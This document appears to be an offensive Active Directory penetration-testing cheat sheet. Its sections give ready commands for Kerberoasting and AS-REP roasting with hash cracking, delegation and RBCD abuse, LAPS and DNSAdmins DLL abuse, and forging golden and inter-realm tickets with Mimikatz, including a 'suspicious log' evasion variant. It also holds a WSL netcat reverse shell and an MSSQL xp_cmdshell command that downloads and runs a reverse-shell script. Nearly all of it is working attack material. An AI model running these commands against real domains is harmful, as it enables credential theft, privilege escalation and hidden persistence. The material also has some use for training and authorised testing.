Finding Service Accounts

Get-NetUser –SPN

Request TGS

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" 

Exporting / Cracking

# Roast
Rubeus.exe kerberoast /simple /nowrap [/user:USER] [/domain:DOMAIN] [/dc:DC]

# Crack
hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force

AS-REP Roasting

Finding Accounts with Kerberos pre-auth disabled

Get-DomainUser -PreauthNotRequired -Verbose

Force Disable kerberos preauth

# Checking current groups ACL rights:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Disabling kerberos pre-auth for a user:
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} –Verbose


# Get the hashes of all
Rubeus.exe asreproast /format:hashcat /nowrap [/user:USER] [/outfile:FILEPATH] 

# Crack with hashcat
hashcat asreproast.txt -m 18200 /usr/share/wordlists/rockyou.txt --force

SetSPN - Targeted Kerberoasting


# Viewing our ACL permissions:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Check if user has SPN:
Get-DomainUser -Identity supportuser | select serviceprincipalname

Setting SPN (must be unique for domain)

Set-DomainObject -Identity USER -SET @{serviceprincipalname='ops/whatever1'}

## Clean up
Set-DomainObject -Identity USER -clear serviceprincipalname

Extraction and cracking same as kerberoasting.

Unconstrained Delegation


Get-NetComputer -UnConstrained

Compromise server then wait, or use printer bug with Rubeus Listening

# Printer bug

# Listen with Rubeus
.\Rubeus.exe monitor /interval:5 

# Use printer bug
.\SpoolSample_v4.5_x64..exe TARGET CAPTURE

# Use ticket
Rubeus.exe ptt /ticket:<base64ticket>

Export tickets and steal DA

# Look at tickets on system (run as system to see all)
Rubeus.exe triage

# Get ticket
Rubeus.exe dump /luid:TICKETLUID /nowrap

# Use ticket
Rubeus.exe ptt [/ticket:BASE64TICKET] [/luid:LUID]

Constrained Delegation


# Which User/Comp
Get-DomainUser –TrustedToAuth 
Get-DomainComputer –TrustedToAuth

# What can the found users/comps do
Get-DomainUser USER -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto
Get-DomainComputer COMP -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto

Getting Ticket

Need NTLM hash or clear creds for the user with constrained delegation

# On comp with contrained delegation rights for time\dcorp-dc. 
# hash is of the machine account
Rubeus.exe s4u /user:COMP$ /rc4:HASH /impersonateuser:Administrator /msdsspn:"time/DC.DOMAIN.LOCAL" /altservice:LDAP,cifs /ptt

dcsync DOMAIN DOMAIN\krbtgt

# On user with constrained delegation rights for CIFS\COMP
# Hash is of the user with delegation rights
Rubeus.exe s4u /user:USER /rc4:HASH /impersonateuser:Administrator /msdsspn:"CIFS/COMP" /ptt

# Check Access
ls \\COMP\c$\

Resource Based Constrained Delegation


# ACL can be found with BH or invoke-acl scanner / get-acl etc.
# Need to control a machine with SPN or ability to add a domain machine (normal user)
# Also need write permissoion on a computer object

Adding New Computer Object

Import-Module .\Powermad.psd1

New-MachineAccount -Domain offensiveps.powershell.local -DomainController -MachineAccount AttackCompObj -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose

Set RBCD on target

# Import AD Module
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

# Set RBCD on Target
Set-ADComputer <targethostname> -PrincipalsAllowedToDelegateToAccount <AttackCompObj>$ -Verbose 

Control Target

# Create hash of plaintext password if creating a new machine 
.\Rubeus.exe hash /password:<computerobjpassowrd>

# Request TGS 
.\Rubeus.exe s4u /user:AttackCompObj$ /rc4:HASH /msdsspn:http/<target> /impersonateuser:Administrator /ptt

# HTTP allows psremote
Enter-pssession -computername <target>  

LAPS Abuse


# Easiest done with the LAPS powershell module

# Get OU with powerview

# Import module
Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1 

# Find the OUs that can read LAPS passwords
Find-AdmPwdExtendedRights -Identity <OU>


# Once we have compromised a user that sits within an OU that can read LAPS
Get-AdmPwdPassword -ComputerName <targetmachine>

# After gaining password you can log in to machine as <targetmachine>\Administrator

# If we have SYSTEM on a LAPS machine, we can alter the password expiration time so we can persist longer on the machine.

# If we have DA we can modify ACLs of computer objects to provide attackers with permissions to read passwords in clear.

# Client component (C:\Program Files\LAPS\CSE\AdmPwd.dll) has no integrity check and can be replaced with malicious dll for attacks such as known password, long expiration time etc.

Just Enough Administration (JEA) Abuse

JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.


AD descriptions. So far havent seen any official way to scan for them.

# Role Capability file (Visible cmdlets etc)
New-PSRoleCapabilityFile -Path .\JEA.psrc

# Session configuration files (user mappings and role definitions)
New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\JEA.pssc
Register-PSSessionConfiguration -Path .\JEA.pssc -Name 'Persist' -Force 

# If you can find .pssc or .psrc files then they can help breakout. 


# Connect to JEA endpoint
Enter-PSSession -ComputerName <target> -ConfigurationName <config name>

# Enum commands available, look them up in docs to see what is possible

# Some dangerous cmdlets
set-pssessionconfiguration (set-pssessionconfiguration -Name <profilename> -SecurityDescriptorSDDL <SDDL>)(

PowerShell Web Access (PSWA) Abuse


# PSWA can be used to get a powershell session on port 443. 
# Default path

# Requires admin creds, available cmdlets can be restricted


# Depends on config, but look for sensitive commands and binaries.

# If a breakout is needed refer to JEA as well. 

Configure for Persistance

# Install
Install-WindowsFeature -Name WindowsPowerShellWebAccess

# Configure
Install-PswaWebApplication -useTestCertificate 

# Configure Rules (Wildcard * can be used for all values allowing all users / cmds)
Add-PswaAuthorizationRule -UserName <domain\user> -ComputerName <computer_name> -ConfigurationName <session_configuration_name> 

Windows Subsystem Linux (WSL) Abuse


# Find linux distro on windows host, should see binaries and filesystem

# Can access files like on linux /etc/shadow etc. 

# Worth looking for keytab files. These allow linux to talk kerberos and can be cracked.
 python3 /root/ADShare/wslhost.keytab


# Run windows binaries with bash
bash.exe -c cmd.exe 

# Run windows binaries with wsl
wsl.exe cmd.exe 

# These run with permissions of WSL process, as current windows user.

# Reverse Shell
wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe

# Can be useful for stealth since its harder to detect malicious activity on WSL. ELF persistance would be very good.

Windows Device Guard Bypass


# With device guard you will be in a shell with no language mode and app whitelisting.

# List policies
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections


# Known also as CLM bypasses, there are several online.
# Typically windows signed binaries allowed, worth trying:

# CLM Bypasses:



Get-NetGroupMember -GroupName "DNSAdmins"


Compromise DNSAdmin user is necessary to perform abuse

# Configure DLL using dnscmd.exe:
dnscmd DC /config /serverlevelplugindll \\\dll\mimilib.dll 

# Configure DLL using DNSServer module:
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc Verbose -All 
$dnsettings.ServerLevelPluginDll = "\\\dll\mimilib.dll" 
Set-DnsServerSetting -InputObject $dnsettings -ComputerName DC -Verbose

# Restart DNS Service
sc \\DC stop dns 
sc \\DC start dns 

# By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log

Microsoft Exchange Abuse


# Exchange groups have high permissions. 
Look for groups such as:
Organization Management (Full control over exchange windows permissions group)
Exchange Windows Permissions (WriteDACL on domain object pre server 2019)
Exchange Trusted SubSystem (can modify DACL of DNSAdmins and others, local admin to exchange servers)


# Own user in groups above or own exchange server
# PTH as user or exchange server

# Import ADModule and RACE
Import-Module .\ADModulemaster\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1 
. .\RACE.ps1 

# Give user access to DC
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'DC=techcorp,DC=local' -Server techcorp.local -Verbose

# Give DCSync 
Set-ADACL -SamAccountName DOMAIN\USER DistinguishedName 'DC=techcorp,DC=local' -GUIDRight DCSync -Server techcorp.local -Verbose 

# (As DA)Giving user WriteDACL over windows exhchange group for persistance
Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -SAMAccountName DOMAIN\USER -Verbose 

# (As user now added) Use that priv to modify acl of windows permissions and give write member 
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -GUIDRight WriteMember -Server techcorp.local -Verbose

Cross-Domain Trust Tickets

Get Trust Key

# Mimikatz trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName DC 

# Mimikatz dcsync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\TARGETDOMAIN$"'

Forging Inter-Realm TGT

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-1874506631-3250652063-538504511 /sids:S-15-21-280534878-14999702234-700767426-519 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.LOCAL /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"' 

Get TGS for Service in target domain (CIFS below, but could be LDAP, HOST and HTTP) using trust ticket

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/DC.DOMAIN 

Use TGS to access service in target (may need to use twice)

# Convert and use TGS
.\kirbikator.exe lsa .\CIFS.DC.DOMAIN.kirbi

# Access
ls \\DC.DOMAIN\c$ 

Cross-Domain using krbtgt Hash

Create Ticket Abusing SID History

# Get krbtgt
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

# Create token
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:HASH /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

In the above command, the mimkatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.

Use Ticket

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' 

# Access
ls \\DC.DOMAIN.local\c$

gwmi -class win32_operatingsystem -ComputerName dc.DOMAIN.local

Avoiding suspicious logs

Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:DOMAIN.local /sid:S-1-5-211874506631-3219952063-538504511 /groups:516 /sids:S-1-521-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:HASH /ptt"'

# S-1-5-21-2578538781-2508153159-3419410681-516 – Domain Controllers 
# S-1-5-9 – Enterprise Domain Controllers

# Looks like DCs talking between each other and still grants us a ticket for the enterprise DCs.

Cross-Forest Trust Tickets

Get Trust Key

# Mimikatz trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"'

# Mimikatz dump
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Creating inter-forest TGT

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi"'

Using inter-forest ticket to request TGS

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/TARGET-dc.DOMAIN.local 


# Use TGS to access service
.\kirbikator.exe lsa .\CIFS.TARGET-dc.DOMAIN.local.kirbi

# Found file share:
Invoke-ShareFinder -Domain DOMAIN.local

# Check Access
ls \\TARGET-dc.DOMAIN.local\SharedwithDCorp\

MSSQL Trust Abuse


Finding MSSQL Instances

# Discovery (SPN Scanning): 

# Check Accessibility: 

# Use together:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose 

# Gather Information: 
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Look for links to remote servers
Get-SQLServerLink -Instance instance-mssql -Verbose

# Enumerating nested database links 
Get-SQLServerLinkCrawl -Instance instance-mssql -Verbose

Enabling xp_cmdshell if rpcout is enabled (disabled by default)

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"

Executing Commands

# Executes command over link
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"

# shell
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "powershell.exe iex (iwr -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress -Port 443"

PAM Trust

PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.


# Import ADModule

# Detect if current forest is PAM trust
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

# Enumerate Shadow Principals
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

# Enumerate if current forest is managed by a bastion forest
Get-ADTrust -Filter {(ForestTransitive -eq $True)} 
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External = PAM


# Find users with shadow principals and names of shadow principal objects
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

# Add a compromised user to the group 
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=gcbsec,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=gcbsec,DC=local"}

# Once compromised you can manage forests with EA permissions.

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